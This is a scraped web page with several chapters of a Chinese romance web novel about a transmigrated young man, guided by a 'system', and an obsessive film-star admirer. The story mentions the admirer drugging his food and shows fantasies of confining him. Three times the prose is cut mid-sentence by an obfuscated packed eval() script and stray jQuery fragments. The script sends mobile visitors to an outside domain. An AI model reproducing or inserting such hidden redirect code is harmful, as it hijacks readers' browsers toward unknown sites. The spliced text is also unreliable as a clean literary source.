元华看着这背影,喉咙像是被什么东西死死扼住。一路上打好的腹稿,什么活动的重要性、违约的后果、外界猜测的质问,此刻一个字也吐不出来。巨大的震惊和难以置信压过了他的职业焦虑。
眼前的景象,已经完全超出了他的理解范围。
他走到周君珩身边,犹豫了一下,最终没有蹲下去,就站在离他一步远的地方,干涩地开口:
“君珩?”
蜷缩的身影似乎轻微地动了一下,但依旧没有抬头。
“下午的活动......推了。”
元华瞬间被拉回现实,职业本能压倒一切:“推了?!周君珩!那是签了死合同的!品牌方高层、媒体全等着。违约金事小,得罪整个品牌圈,你以后的高端资源还要不要了?!口碑怎么办?!这......”
“都无所谓了。”闷闷的声音从臂弯里传出,透着筋疲力尽的疲惫,“...一切...都没意思了。”
元华急得想跳脚,看着眼前这滩毫无生气的“烂泥”,火气混着绝望直冲脑门。他用力吸了口气,试图换个方向:“那...那餐厅那个,叶家的女婿......”他本意是想探探褚亭玉的态度,看看有没有转圜的余地。
他回去就找人查了,褚亭玉是林家的人,下午活动林家也有人去。
“他不是!!!”周君珩猛地抬起头嘶吼,声音因过度用力而撕裂,布满血丝的眼凶狠如困兽,里面翻滚着疯狂的占有欲,“他是我的!我的——!!”
那骤然爆发的戾气震得元华心脏骤缩,后面的话全噎住。眼前这癫狂陌生的男人,哪里还是他认识的那个周君珩?
空气凝固,只剩下周君珩粗重的喘息。
卧室门口忽然传来一个平静到冷淡的男声:
“周君珩,我饿了。”
这声音像道开关。
上一秒还如同暴怒困兽的周君珩,身体猛地一僵,随即以惊人的速度收敛了所有狰狞与戾气。他几乎是连滚带爬地从地毯上撑起身子,身形晃了一下才站稳,快步走向门口,步伐带着掩饰不住的急切,却在靠近时又硬生生刹住。
元华眼睁睁看着周君珩停在褚亭玉面前,距离很近。那张脸上方才的疯狂被一种深沉的专注取代,下颌线收得很紧,喉结滑动了一下。开口时声音压得低而稳,竭力掩饰却仍透出紧张的关切:
“醒了?哪里不舒服?饿得厉害吗?”他顿了一下,语速略快,“......抱歉,没注意时间。”
褚亭玉站在门口的光影里,身上穿着明显大一号,属于周君珩的深色丝质睡衣,衬得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871356|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裸露的脖颈与锁骨一线,皮肤冷白得如同覆了一层薄雪。
鸦羽般浓密的过耳发丝微乱地垂落,发尾带着自然的微卷,几缕不听话地翘着,拂过他线条清晰的下颌。脸上倦意未消,眉心微蹙,一丝不耐凝在秾丽得近乎有攻击性的眉眼间。
逆光勾勒出他高挺鼻梁和饱满唇形的精致轮廓,即使带着倦意,那五官组合也有着浓墨重彩的冲击力。
他没看元华,目光落在周君珩身上,语气倒是显出几分乖顺:“嗯,饿醒的。”
“对不起,让你饿着了。”周君珩的懊恼几乎溢出。
他手忙脚乱地在身上摸索,又想起什么,转身扑到床边一阵翻找,抓起被扔在角落早已没电关机的手机,看着漆黑的屏幕,懊恼地低咒一声。
他转向元华,语速快得像机关枪:“元华,帮我点份餐。要清淡好消化的粥,温的,再加几样清爽小菜。尽量快些。”
吩咐完,周君珩下意识想靠近褚亭玉,脚步刚动又突然顿在原地。目光飞快扫过褚亭玉赤着的双足,再想到客厅满地狼藉的碎片,脸色唰地一下变了,“先别动!我抱你回......”
他急切地伸出手,想碰又畏缩不前,悬在半空,显得笨拙又可怜。
褚亭玉微微侧身避开那双伸过来的手,眉头蹙得更紧,看了一眼周君珩两天没换、散发着浓重酒气和烟味的衣服,毫不掩饰地流露出嫌弃:
“不要,你脏死了。”
“......”
元华正低头在手机上操作,冷不丁听到这句直白又刻薄的嫌弃,一个没绷住,“噗”地笑出声。他赶紧捂住嘴,可惜已经晚了。
门口两人目光齐刷刷射来。
周君珩的眼神瞬间阴沉得能滴出水来,带着被打扰的极度不悦和警告。
褚亭玉则只是淡淡地瞥了他一眼。
元华尴尬得头皮发麻,连忙举起手机晃了晃,干巴巴地找补:“咳...点...点好了!最快半小时送到!”
内心却在疯狂刷屏:卧槽!有生之年!居然有人当面嫌周君珩脏!还他妈嫌弃得如此理直气壮!真是个牛人!
褚亭玉没再理会元华,也没再看周君珩,转身就往次卧走。
周君珩立刻紧张兮兮地跟在他身后,保持着半步的距离,像条生怕被主人丢弃的大型犬,却又不敢靠得太近。
褚亭玉仿佛感觉不到身后那沉甸甸的注视,自顾自穿上凉鞋,径直绕过周君珩,朝相对干净的餐厅方向走去。经过周君珩身边时,他脚步未停,只微微侧了下头:
“这次别在菜里放奇怪的东西。”身体残留的绵软无力,那种失控感让他极其不悦,语气也冷了几分。
周君珩的身体明显僵住,眼神闪过一丝狼狈和心虚,他垂下眼睫,喉结又艰难地滚动了一下,才低低应道:
“......嗯。”
下药?!
元华握着手机的手指都僵住了,瞳孔地震,难以置信地看向周君珩那副心虚又驯服的样子。他感觉自己对周君珩多年的认知正在轰然崩塌。
这还是那个矜贵禁欲、连点花边都懒得沾的周君珩?!
褚亭玉似乎懒得再说什么,不再理会身后两人,径直走到餐厅的椅子边坐下,微微向后靠,闭目养神。
周君珩僵在原地,想靠近又不敢,目光贪婪又小心翼翼地在褚亭玉优越的侧脸上流连,眼神复杂难辨。
12. 第 12 章
元华坐在褚亭玉对面,看着他舀起碗里的粥,一勺勺送入口中,一举一动说不出的赏心悦目。
这张脸,这身段,还有这通身沉淀下来的气韵风度......哪里是流落在外二十年的私生子?分明是金玉堆里精心蕴养出来的贵人。
元华心里那点小心思,忍不住又活络起来。
可惜啊。想想周君珩那护食的疯劲,他是万万不敢招惹。
褚亭玉终于搁下瓷勺,抽出两张纸巾,按了按嘴角。
元华脸上立刻堆起恰到好处的笑容,语气放得格外温软熨帖:“褚先生,吃得还合口味?这家是老字号,清淡养胃,最是讲究。”
褚亭玉眼皮一撩,唇角噙着一丝若有似无的笑意,就那么看着他,没接话。
元华心头一凛,面上笑容不变:“像褚先生这样的品貌气度,实在万里挑一。要是肯屈尊进咱们这个行,绝对爆火,资源、曝光度,妥妥都是顶格的......”
他舌灿莲花,吹捧得既情真意切又天花乱坠,脑子里飞快地盘算着怎么才能把话引到正题上。
褚亭玉听着,心思却不在上面。他正琢磨着周君珩的事。
直到这两天,他才知道周君珩现在是一名演员。并且,红得发紫。
艺名就是本名。可褚亭玉使劲回想自己看过的内容,愣是没找到“周君珩”这三个字的半点影子。
【系统,查周君珩在原著里的情节。】
【检索数据库......未发现匹配角色‘周君珩’。警告:剧情线出现重大未知偏差。】
【一本娱乐圈文,这么大个影帝连个名字都没留下?偏差原因呢?】
【数据库无相关记录。无法分析。】
“......”习惯了系统的无能,褚亭玉还是忍不住在心里骂了句废物。
元华的溢美之词滔滔不绝,褚亭玉左耳进右耳出,心里没起半点波澜。等对方终于歇了口气,他才慢悠悠端起水杯抿了一口,淡声道:“元先生过誉,我对幕前工作,没什么兴趣。”
元华从善如流,笑容依旧得体:“也是,名利场看着光鲜,实则劳心劳力。就说今晚这场盛会,半个娱乐圈里有头有脸的都得去捧场,各界名流云集,听说……”他话锋微妙地一转,特意在几个字上压了压分量,“您姐姐林总,也会亲自到场。”
林乔伊?褚亭玉对这个挂名姐姐,没什么想法。
【触发原著关键节点:时尚晚宴。剧情强制推进:与女主重逢。请柬已由林乔伊发送至宿主邮箱。】
林乔伊主动邀请他?褚亭玉捏着杯子的指尖一顿。原著里可没这出,那个倒霉的原主跟她,基本就是两条平行线。
“咔哒。”
主卧门锁传来一声轻响。
周君珩走了出来。
湿漉漉的头发被他随意地用手向后一捋,饱满的额角和深邃的眉眼完全显露出来。没擦干的水珠顺着他优越的下颌线滚落,洇湿了浅灰色丝质睡衣的领口,晕开一小片深色的水痕。
他身上那件睡衣,跟褚亭玉身上的,是同一个牌子同一个系列,只是颜色不同。柔软的布料贴合着他宽肩窄腰的线条,连日来的颓唐似乎被水汽洗去,属于顶流影帝的那种侵略性的俊美和骨子里的清贵,又重新回到了他身上。
他手里攥着条毛巾,停在卧室门口,目光沉沉地落在餐厅里的褚亭玉身上,脚下有些迟疑。
“过来。”褚亭玉没回头,语气自然得像在召唤自家养熟了的宠物。
这声音似乎有种无形的牵引力。周君珩几乎是下意识地迈开长腿,几步就走到褚亭玉身边,依言坐下。坐稳后,他第一眼便去看褚亭玉面前的粥碗,见碗底差不多空了,紧绷的神色才略微松缓。
褚亭玉等他坐好,用下巴示意了一下桌上另一份还冒着热气的清粥和几碟精致小点:“先吃饭。”
两人之间这自然而然的互动,流畅得仿佛排练过无数次,完全无视了对面还坐着一个元华。
元华看着眼前这一幕,只觉得难以置信。
周君珩是什么人?圈内出了名的冷面佛爷,待人接物分寸感极强,从不轻易让人近身。多少谄媚讨好的人凑上去,往往只换来几句不痛不痒的场面话,碰了软钉子还得赔着笑。
可眼下这尊佛爷,却被眼前这个叫褚亭玉的男人牵着走。这份顺从,足以让任何熟悉周君珩的人惊掉下巴。
林家?
元华心里飞快地转着念头。
林家是有点家底,可跟周家这种盘踞多年、根系深扎各界的庞然大物比起来,完全不是一个量级。而这位褚先生,说到底,不过是流落在外二十年,侥幸被认回的私生子。
他凭什么?
仅凭这张出色的脸吗?
元华承认褚亭玉的样貌气度确实顶尖,绝非寻常环境能养出。但以周君珩的身份地位,见过的绝色美人何其多?单凭外貌就能让他如此转变?这理由实在牵强。
看惯了周君珩对旁人那副拒人千里的冷脸,再亲眼目睹他对褚亭玉这份近乎无底线的纵容,反差之大,让人不得不暗自心惊。
他忍不住在心里感叹,这世上,果真是一物降一物。
周君珩吃得不算慢,动作间带着刻进骨子里的优雅,一碗粥很快见了底。
褚亭玉等他放下勺子,说道:“吃完了?收拾一下,去发布会。”
“我不去。”周君珩立刻抬起头,声音冷硬,一点商量的余地都没有。
又要打发他走?这人怎么就能这么狠心?
可心里憋着的火气对着褚亭玉,他发不出来,只能硬生生压回去,堵得胸口发闷。
无处发泄的怨怼急需一个出口,周君珩锐利的目光倏地刺向对面的元华,他认定是元华在背后撺掇,褚亭玉才会想着支开自己。
他现在满脑子就一个念头:待在褚亭玉身边,一步也不想离开。
元华刚才因为褚亭玉开口而冒出来的一点喜意,瞬间被这冰冷的眼神浇灭,头皮一麻,后背冷汗唰地就下来了。他赶紧摆手,恨不得指天发誓:“天地良心!祖宗,我可一个字都没提过!”
他急急地辩解着,目光求救似的看向褚亭玉。
“这是你的工作,”褚亭玉是真的有些不解,“为什么不去?”他太清楚这种顶级代言活动的重要性,背景再硬也经不起这么折腾。
周君珩什么时候变得这样不分轻重了?
褚亭玉眼底的疑惑和不赞同,像根针一样扎进周君珩心口最软的地方,泛起一阵刺刺的疼。
又是这样。好像他这点卑微的渴求,永远都只是无谓的纠缠和无理取闹。
从重逢到现在,褚亭玉对他消失的七年只字不提。这种彻底的漠视,比任何激烈的争吵都更让他窒息。
压抑的恨意与那股想要把人禁锢在自己视线所及之处的阴暗欲望,再次疯狂撕扯着他的理智。把他关起来,关到一个只有我能找到的地方。让他眼里、心里,都只能有我!
“你也说了。”周君珩仓促垂下眼睑,浓密的睫毛遮挡住眼底翻腾的骇人情绪,“这是我的工作。”
言下之意,去不去,他自己做主。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871357|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褚亭玉微微一怔。一丝不快夹杂着连他自己都未曾深究的微涩感悄然掠过心头。记忆中的少年,极少这样直接而强硬地拒绝他。
但转念一想,不是人人都需要像自己当年那样为了生存汲汲营营。周君珩生来就在云端,自然拥有挥霍一切的资本。自己又何必多事?
“确实。”褚亭玉的神色淡了下去,意兴阑珊地起身,“你的事,你自便。”
本来想着有他在场,那无聊的场合或许还能解解闷。现在看来,倒是自己多虑了。
“那我只好自己去了。”他语气平淡地陈述道。
“什么意思?”周君珩霍然起身,抓住了褚亭玉要离开的手腕。
褚亭玉被他突然一拽,脚步停了下来。动作间,本就宽松的睡衣领口被扯得歪斜,露出一小片白皙的锁骨和圆润的肩头。
褚亭玉眉头蹙得更紧,心底那点不快被这唐突的肢体接触放大。怎么越活越回去了?动不动就上手。
瞥见那片晃眼的肌肤,周君珩几乎是本能地侧身,用身体严严实实挡住了元华可能窥探的视线,伸手想去整理歪斜的领口。指尖快碰到时,却又停住,悬在半空。
“没规矩。”褚亭玉淡声轻斥,语气里没什么怒意,更像一种习惯性的训诫。
见他虽蹙着眉,神色不虞,但身体没有躲闪的意思,周君珩悬着的心才落回一点实处。他屏着呼吸,几近虔诚地将那歪斜的领口一点点拉正,指尖不可避免地擦过那片温润的肌肤。
久违的刺麻颤栗沿着神经末梢窜起,褚亭玉喉结微动,强行压下这不合时宜的反应,面上依旧沉静如水。
周君珩的手没有立刻收回,指尖贪恋那温热的触感,无意识地在那处皮肤上流连了一下。
褚亭玉眼睫低垂,掩去眸底一闪而过的暗流,没有动,也没有再斥责,只是周身的气息似乎愈发沉静内敛。
这微妙的几秒,空气逐渐变得粘稠滞涩。
“林乔伊叫我去。”褚亭玉终于开口解释。
林乔伊?
周君珩脑中迅速过了一遍这个名字,想起是褚亭玉那个名义上的姐姐。
“哎呀!君珩,这不赶巧了嘛!”元华不愧是圈里摸爬打滚多年的人精,也不管两人之间奇奇怪怪的气氛,一看峰回路转,立刻抓住时机,“褚先生也去,咱们正好顺路捎他一程。这活动你本来就是压轴的主心骨,不到场可怎么行?粉丝们也盼着,多少人指着你镇场子......”
然而,褚亭玉和周君珩两人对他这番激情演说置若罔闻,跟没听见一样。
周君珩的脸色几经变幻,尴尬中带着明显的别扭,他想反悔,可前面那句斩钉截铁的“不去”言犹在耳。
他能感受到褚亭玉平静目光里无声的鞭笞。
褚亭玉不催,也不动。他只是在等。
他偏爱看这只桀骜的鹰隼如何收敛利爪,低下高傲的头颅,心甘情愿地将最柔软的腹羽袒露给他,主动做出妥协的姿态。这种由对方亲手完成的驯服过程,远胜任何强制的指令,更能满足他心底那点隐秘的支配欲。
周君珩太清楚褚亭玉要什么了。为一个男人俯首,这本该是他最鄙夷的懦弱。可偏偏,那人是褚亭玉。
他很轻地叹了一声,食指带着点试探,勾住褚亭玉垂在身侧微凉的小指,先是轻轻晃了晃,又不甘心地捏了几下,才低声道:“我去。”
褚亭玉对这个结果并不意外,对他这点小猫挠痒似的动作也浑不在意,微微颔首。
被彻底晾在一边的元华:“......”行吧,目的达到了就行。
13. 第 13 章
元华很识趣地站起身,朝玄关方向指了指:“行,那君珩,褚先生,你们先收拾一下,我去外头等。”
门一合上,元华脸上的笑容就垮了下来,长长吁出一口气,仿佛卸下千斤重担。他掏出手机,迅速拨通助理的电话,恢复了经纪人的干练:
“喂,是我。让他们准备好,一会到。所有环节再核对一遍,尤其是媒体提问的预案......对,他状态......还行,就按最高规格来,别出岔子。”
他一边低声快速交代,一边脚步不停地踱向电梯厅。
刚走到入口,就看见袁刚像尊门神,背靠着冰冷的金属墙,抱着臂站在那里。指间夹着一支烟,没点燃,只是习惯性地在指缝里捻转着。
元华掐了电话,走过去,站在袁刚面前。
这两天积压的疑惑,加上那天餐厅里袁刚异常冷静的阻拦,终于找到了一个合适的开口时机。他搓了搓手,斟酌着措辞。
“老袁,”元华的声音压得比刚才打电话时更低,“那天在餐厅......你好像一点也不意外?”
袁刚捻烟的手指顿住,没说话。
元华舔了舔有些发干的嘴唇,往前凑近半步:“你跟周少年头也不短了,是不是......认识那位褚先生?”
他问的小心,刻意用了“周少”而不是“周君珩”,弦外之音不言而喻。他这是在摸底,想弄清楚周君珩和褚亭玉的关系,究竟是入圈前的旧识,还是后来的交集。
袁刚沉默了几秒,才“嗯”了一声,算是承认。
元华眼睛一亮,心里那点猜测似乎落了实,立刻追问:“那他们以前......?”他话没说完,但意思再清楚不过。
以前什么关系?能叫周君珩失态到那种地步?
不过这回袁刚彻底没反应了。
元华懂了,再问下去也是徒劳。袁刚这张嘴的严实程度,他领教过多次。
失望归失望,分寸还在。他无奈地扯了扯嘴角,拍拍袁刚的肩膀:“行,明白了。你守着吧,我去车上等。”
车子抵达酒店后门的专属通道。元华一行人动作迅捷,穿过专用电梯,直达顶层套房。
套房的客厅足够宽敞,如今被高效运转的专业团队塞得满满当当。衣架上挂满了备选礼服,化妆箱敞着口,造型工具在长桌铺开一片,几个助理正拿着平板快速确认流程细节。空气里有淡淡的发胶和香水味,节奏紧张却秩序井然,没有一丝忙乱的嘈杂。
元华刷开门禁,侧身让周君珩和褚亭玉先进,自己随后跟入。门开的瞬间,所有人的目光齐刷刷聚焦过来。
一个助理立刻迎上前:“元哥,造型师和化妆师都候着了。”
“君珩,这边。”元华指向客厅中央那面宽大的化妆镜,几个核心人员默契地围拢过来。
周君珩的脚步却没立刻动。
他像是完全没看到那些迎上来的人,也没理会元华的话头,而是先侧过身。
褚亭玉就这样毫无预兆地暴露在所有人的视野里。空气中静了静,十几道目光带着八卦和惊艳,落在这个陌生又漂亮得扎眼的男人身上。
一旁的化妆师疑惑地看向元华,用眼神询问。元华只能无奈地摇摇头。
“亭玉,”周君珩一开口,就引得几个正在忙碌的工作人员都不自觉地放缓了动作,余光偷偷瞟过来。
他完全无视那些视线,只看着褚亭玉,“这边有点乱,也吵。你......”
他环视了一下略显拥挤的空间,视线最终定格在落地窗边一张相对独立的单人沙发和矮几上。他几步跨过去,不由分说地将矮几上散落的几本杂志和造型图册叠好,挪到旁边的移动书架下层。
他弯腰时,肩背的线条绷得笔直,很吸睛。
清空矮几,他侧身让开位置,面向褚亭玉,“这边视野好,也清静些。坐这里,可以吗?”
褚亭玉没说什么,依言走过去坐下。沙发位置极佳,既能避开人群中心,又能将室内大半动态收入眼底。
周君珩没有立刻走开。他站在沙发边,垂眼看着褚亭玉。房间里其他人的动作仿佛都按了慢放键,连呼吸都放轻了,竖着耳朵听。
“妆发造型,加上对流程。”他语速刻意放慢,“得耗些时间。”说完这句,他自然地半蹲下来,视线与褚亭玉齐平,这才继续道,“要是觉得闷了,或者需要什么,”他侧首示意旁边一位看起来沉稳干练的女助理,“跟小陈讲。”
被点名的小陈正处于震惊的余波中,闻言回过神,忙不迭地点头。
周君珩重新转向褚亭玉,两人的视线在空中短暂地缠了一下。他想了想,又加了一句,像是不经意的强调,“我这边......很快就好。”
这“很快”二字,与其说是告知时间,不如说是一种隐晦的安抚,生怕对方觉得等待太久而离开。
偌大的空间里,安静得有些诡异。
褚亭玉见他没有其他话,这才动了。掌心抬起,落在他头顶,很轻地揉了两下。周君珩整个人肉眼可见地僵住,睫毛猛地一颤,仓促垂下视线,身体保持着半蹲的姿势。
褚亭玉垂眸,身前人浓密得惊人的眼睫低低覆着,耳廓缓缓晕开一片绯红,喉结克制地上下滑动。掌下传来细微的颤抖,还有对方陡然变得有些絮乱的呼吸,都清晰可辨。
那只手顺着修长的脖颈滑至耳际,温热的指腹停驻在微肉的耳垂上,颇有兴味地把玩揉捏片刻,才像是尽兴般点了头:“知道了,你先去忙。”说完,手便收了回去,仿佛方才的狎昵举动只是幻觉。
周君珩定了定神,努力稳住胸腔里那匹脱缰野马似的心跳。
客厅里恢复了之前的忙碌节奏,但气氛却微妙地变了。
目睹了刚才那一幕的工作人员,无论是助理还是造型师,手上的活更麻利了。没人乱瞟,也没人交头接耳。巨大的震惊和能把人烧穿的好奇心,被强大的职业本能死死摁住,表面只剩下满室心照不宣的忙碌。
这圈子混久了,都知道什么时候该装瞎作哑。更何况是周氏太子爷的私事,心里不管翻腾着什么惊涛骇浪,出了这扇门,都得烂在肚子里,嚼碎了咽下去。
褚亭玉靠在沙发里,姿态放松,目光带着几分新奇,越过人群,落在不远处的周君珩身上。
化妆镜前明亮的灯光打在周君珩俊美无俦的脸上。他闭着眼,任由化妆师拿着粉扑子和刷子在他脸上轻扫。
褚亭玉第一次见周君珩被这样摆弄。
看着粉底一点点抹平他眼下淡淡的青影,眉笔勾画出更锋利的眉形,修容刷在他颧骨和下颚处晕染出明暗......整个过程安静而高效。
周君珩闭着眼,长长的睫毛垂着,面容沉静,显得格外配合,也......有点陌生。
周君珩虽然闭着眼,却能感觉到那道落在自己脸上的目光。那视线像无形的丝线,细细密密缠绕周身,让他浑身肌肉都下意识地处于一种微妙的戒备状态,连呼吸都刻意放得又缓又长,耳根那点热度又死灰复燃。
他忍不住微微动了动眼皮,想睁开看看,又被化妆师轻声提醒:“周老师,别动,眼线。”
他只能僵着不动,心里却像被小猫爪子不轻不重地挠着,又痒又燥。才过了不到十分钟,化妆师正在给他描画唇形,周君珩趁着对方换工具的间隙,眼皮倏地一抬。
他没有看镜子里的自己,目光直接穿透镜面的反射,落在沙发上的褚亭玉身上。语气听着像随口闲聊:“是不是挺无聊?”
褚亭玉的视线还流连于他被唇刷勾画出的唇线上,闻言才微一偏转,与镜中周君珩的目光撞个正着。他幅度极小地摇了摇头。
周君珩抿了抿刚涂上润色膏的嘴唇,那点湿滑的触感让他更不自在。化妆师拿起定妆喷雾,他又忍不住开口,声音比刚才听起来急了些:“小陈就在旁边。想喝什么,让她去拿。”他仔细分辨褚亭玉的神色,确认对方是否读懂了自己话语间那份笨拙的挽留。
直到看到褚亭玉点头,他才像是得到了某种保证,重新闭上了眼。
褚亭玉不再看他,从口袋里摸出手机。屏幕亮起,指尖在屏幕上滑动了几下。片刻后,他点开一个社交平台的图标,在搜索框里,输入了“周君珩”三个字。
页面跳出一个认证账号。头像是张夜色下的海边风景照,有种莫名的熟悉感,褚亭玉点开放大。
像素很模糊,依稀能看到照片边缘的岸边礁石上,坐着一个几乎被夜色吞没的人影轮廓。
他指尖轻点,照片缩小,人影消失了。
点进主页,内容整齐得像一份精心编排的官方日程表:最新电影宣传、品牌活动通告、获奖感言转发、公益项目推广......
配图无一例外是精修大片,构图光影无可挑剔。文案更是标准得像流水线产品,严谨,冰冷,没半点个人情绪。
最新一条,是昨天发布的品牌活动预热。
转发:100+万。
评论:56.7万。
点赞:278万。
褚亭玉眉梢挑了一下。这数据,庞大得有些失真。他点开评论区。
热评第一,是整齐划一的控评文案,带着一堆心形和星星符号:“ #周君珩 XX品牌全球代言人# 哥哥神颜暴击!期待今晚的闪耀时刻!爱心[爱心]”。点赞高达几十万。
往下翻:
“啊啊啊啊啊啊啊啊老公鲨我!这侧颜绝了!流泪”
“电影什么时候上?等不及了!周影帝冲鸭!”
“这套造型封神了!工作室加鸡腿!”
“呜呜呜又是为哥哥美貌流泪的一天![大哭]”
“路人,但不得不说,这脸是真能打。[大拇指]”
偶尔夹杂着几条不同的声音:“这文案也太水了吧,团队能不能走点心?”但很快就被淹没在粉丝“黑子滚粗!”、“守护最好的哥哥!”的刷屏里。
千篇一律的赞美,格式化的尖叫,偶尔的争议也迅速被淹没。翻了几页,内容大同小异。
褚亭玉指尖滑动的速度越来越快。
没什么意思。
他指尖悬在屏幕上方,顿了几秒,最终还是失去了继续翻阅的兴趣。手指在屏幕上向上一划,退出了这个光鲜亮丽却毫无生气的账号页面。
手机随意地搁在膝上,他的目光重新投向化妆镜的方向。那边,周君珩的妆发已接近尾声,造型师正弯腰为他调整西
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871358|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装领口和袖扣的细节。
周君珩最后理了理袖口,确保没什么问题。他转身,走向落地窗的单人沙发。
褚亭玉的目光随着他移动。
裁剪精良的深色西装衬得他肩宽腿长,比例惊人。脸上的妆容极薄却精妙,将他本就得天独厚的五官优势衬托得愈发出众。
眉骨深刻,鼻梁挺直,下颌线棱角分明。整个人像一块被打磨过的玉石,清隽而矜贵。
七年前眉宇间那点未褪尽的少年意气,已被时光淬炼成属于成熟男性的沉稳锋芒。光华尽敛,却自有一股迫人的威仪。
褚亭玉看着他一步步走近,眼神里掠过一丝极淡的亮光,快得难以捕捉,随即又归于平静。
周君珩停在他面前,距离不远不近。盛装之下面对褚亭玉的打量,他下意识地垂了下眼睑,手指无意识地捻了捻西裤侧缝。
“弄好了。”他声音比平时略低,“时间差不多,我得下去了。”他顿了顿,目光落回褚亭玉脸上,带着点期待,“你、你要不要跟我一起?”
他私心恨不能时时刻刻把人放在眼皮底下,可脑中闪过即将面对的浮夸笑语,虚与委蛇的客套,只怕褚亭玉觉得烦闷难熬。
褚亭玉几乎没怎么考虑,摇头:“不了,吵。”
答案在意料之中。周君珩眼底那点微弱的希冀暗了下去,但并未流露出明显的落寞,只是点了点头:“嗯。那你在这边歇着。”他指了指旁边安静候着的女生略一示意,“小陈留在这里,有事就叫她。”
小陈立刻恭敬应下。
闪光灯疯狂闪烁、话筒林立、公式化的寒暄和流程推进......周君珩熟练地应对着一切,笑容得体,言辞滴水不漏,完美像个设定好的程序。
媒体提问环节结束,晚宴开始前有一段休息换装的时间。周君珩婉拒了所有的寒暄,带着一身室外微燥的暮气回到顶层的套房客厅。
沙发是空的。
周君珩的脚步倏地顿住。他脸上的表情没什么变化,只是那点倦意瞬间被一种沉沉的冷意覆盖。
客厅里只有小陈一人。
他目光转向小陈,声音有些发沉:“他走了?”
小陈被他骤然冷下来的气场慑得心头一凛,赶紧摆手解释:“没、没有,周哥!褚先生用过餐后,看了会电影,可能是看累,在里面休息。”她指了指主卧的方向。
周君珩浑身那股紧绷欲裂的戾气猛地一滞。他像是没听清,或者说,这个答案完全超出了他刚才最坏的预期。他愣在原地,脸上的阴沉还没来得及完全褪去,混合着反应不及的茫然,显得有些滑稽。
“休息?”他重复了一遍。
“是的,”小陈看他脸色稍缓,松了口气,补充道,“褚先生看了挺久的电影,后来可能觉得累了,就进去休息了。”
周君珩似乎这才找回自己的声音,追问道:“他看了什么?”
“就是......您最早拍的那部......”小陈如实报出一个电影名字。
周君珩明显一愣,眼神里有什么东西晃了晃,像是被猝不及防地戳中了某个隐秘的角落。那是他初出茅庐,演技尚且青涩稚嫩的处女作。
他沉默了片刻,喉结不明显地滑动了一下,才又问,语气更轻了,带着点自己都没察觉的期待:“他看的时候......说什么了吗?”
“没有,”小陈摇头,回忆着,“褚先生看得很安静,没有快进,也没点评,就......看完了。”
周君珩听完,那点隐秘地期待落了空。他“嗯”了一声,接着问:“还看了别的吗?”
“有的,”小陈观察着他的神色,立刻打起精神,“后来还点开了几个您的访谈视频看,就是......近几年的那些。”
“看了大概一个多小时吧。”她尽量详细描述,“看完访谈,褚先生就去休息了。”
周君珩听着,眼底那点失落被一丝几乎看不见的微光取代。他没再追问细节,只问:“什么时候休息的?”
“一个多小时前。”
“知道了,辛苦了,你去休息吧。”周君珩打发走小陈。
套房彻底安静了下来。
周君珩在原地站了几秒,才放轻脚步,走到卧室门前,轻轻拧开门把手。
室内一片昏暗,厚重的窗帘滤去了傍晚最后的天光,朦胧的光线勉强能看出,宽大的床上,被子里隆起一个安静的弧度。
周君珩的心,在看清那个身影的瞬间,被一种饱胀的暖意填满。他悄无声息地走进去,反手带上门。
他在床边停下,适应着黑暗。床上的人呼吸均匀悠长,显然睡得很沉。他慢慢俯下身,双手撑在柔软的羽绒被上,陷落在褚亭玉脑袋两侧的枕头里。
他就这样静静地看着。视线贪婪地描摹过对方闭合的眼睑、挺直的鼻梁、微微抿着的唇线。心底翻涌的喧嚣、不安、疲惫,在这一刻奇异地被抚平,只剩下近乎虔诚的满足和宁静。
原来只是在这里睡着。
原来真的在等他回来。
一种近乎酸楚的幸福攫住了他。他维持着这个姿势,连呼吸都放得很轻,仿佛时间在此刻静止。
如果能一直这样看着,就好了。
14. 第 14 章
周五,体育课。
上午的太阳已经有些晒人。操场上,两个班的学生刚跑完两圈,队伍稀稀拉拉地散开。
褚亭玉喘得有点急,喉咙里像塞了把干沙子,火辣辣地疼。
这身体底子是真差。他皱着眉,慢慢走到跑道旁边树荫下的台阶,扶着膝盖缓了半天,等呼吸平复了些才坐下。
刚坐稳,眼前就晃过一瓶矿泉水,瓶身还挂着亮晶晶的水珠。他抬眼,周君珩站在跟前,一手插在兜里,另一只手拿着两瓶水,其中一瓶正递向他。
“给。”周君珩的目光在他微红的脸上和明显起伏的胸口停了停,语气挺平常,“原来以前我们体育课也一块上过?居然没半点印象。”
褚亭玉没客气,伸手接了。冰凉的瓶身激得手心一缩,那股子燥热好歹压下去一点。他拧开盖子,仰头灌了好几口,微凉的水滑过灼痛的喉咙,舒服得他差点哼出声。
